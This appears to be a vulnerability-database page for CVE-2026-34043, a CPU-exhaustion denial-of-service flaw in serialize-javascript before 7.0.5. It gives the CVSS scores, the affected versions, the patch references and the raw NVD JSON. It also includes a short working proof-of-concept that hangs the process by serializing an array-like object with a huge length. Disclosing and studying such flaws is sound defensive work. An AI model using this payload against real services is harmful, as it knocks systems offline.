Security Vulnerability Report
中文
CVE-2026-34043 CVSS 5.9 MEDIUM

CVE-2026-34043

Published: 2026-03-31 03:15:58
Last Modified: 2026-04-03 16:53:53

Description

Serialize JavaScript to a superset of JSON that includes regular expressions and functions. Prior to version 7.0.5, there is a Denial of Service (DoS) vulnerability caused by CPU exhaustion. When serializing a specially crafted "array-like" object (an object that inherits from Array.prototype but has a very large length property), the process enters an intensive loop that consumes 100% CPU and hangs indefinitely. This issue has been patched in version 7.0.5.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:yahoo:serialize:*:*:*:*:*:*:*:* - VULNERABLE
serialize-javascript < 7.0.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
const serialize = require('serialize-javascript'); // Create a crafted array-like object to trigger the DoS const maliciousObject = { __proto__: Array.prototype, length: Number.MAX_VALUE // Setting an extremely large length }; console.log('Attempting to serialize malicious object...'); try { // The following call will cause the process to hang and consume 100% CPU const result = serialize(maliciousObject); console.log(result); } catch (error) { console.error('Error during serialization:', error); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34043", "sourceIdentifier": "[email protected]", "published": "2026-03-31T03:15:58.400", "lastModified": "2026-04-03T16:53:52.573", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Serialize JavaScript to a superset of JSON that includes regular expressions and functions. Prior to version 7.0.5, there is a Denial of Service (DoS) vulnerability caused by CPU exhaustion. When serializing a specially crafted \"array-like\" object (an object that inherits from Array.prototype but has a very large length property), the process enters an intensive loop that consumes 100% CPU and hangs indefinitely. This issue has been patched in version 7.0.5."}, {"lang": "es", "value": "Serializar JavaScript a un superconjunto de JSON que incluye expresiones regulares y funciones. Antes de la versión 7.0.5, existe una vulnerabilidad de denegación de servicio (DoS) causada por el agotamiento de la CPU. Al serializar un objeto 'similar a un array' especialmente diseñado (un objeto que hereda de Array.prototype pero tiene una propiedad 'length' muy grande), el proceso entra en un bucle intensivo que consume el 100% de la CPU y se cuelga indefinidamente. Este problema ha sido parcheado en la versión 7.0.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}, {"lang": "en", "value": "CWE-834"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:yahoo:serialize:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.0.5", "matchCriteriaId": "DED6E0E1-E4EB-4B38-918C-0429510F4FAC"}]}]}], "references": [{"url": "https://github.com/yahoo/serialize-javascript/commit/f147e90269b58bb6e539cfdf3d0e20d6ad14204b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.5", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-qj8w-gfj5-8c6v", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}